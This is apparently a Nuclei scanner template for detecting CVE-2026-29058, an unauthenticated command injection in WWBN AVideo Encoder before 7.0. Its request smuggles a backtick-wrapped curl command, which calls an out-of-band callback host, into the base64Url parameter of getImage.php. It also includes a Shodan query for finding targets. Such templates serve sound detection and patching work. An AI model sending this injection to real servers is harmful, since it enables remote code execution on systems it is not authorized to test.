WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection

id: CVE-2026-29058

info:
  name: WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection
  author: ashish-cybersec
  severity: critical
  description: |
    AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.
  remediation: |
    Upgrade to version 7.0 or later.
  reference:
    - https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-9j26-99jh-v26q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29058
    - https://github.com/WWBN/AVideo-Encoder
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-29058
    epss-score: 0.0692
    epss-percentile: 0.94097
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: http.html:"AVideo"
  tags: cve,cve2026,avideo,encoder,rce,oast,unauth,intrusive,vkev

variables:
  oast: "http://{{rand_text_alpha(6)}}.example/`curl${IFS}{{interactsh-url}}`"

http:
  - raw:
      - |
        GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
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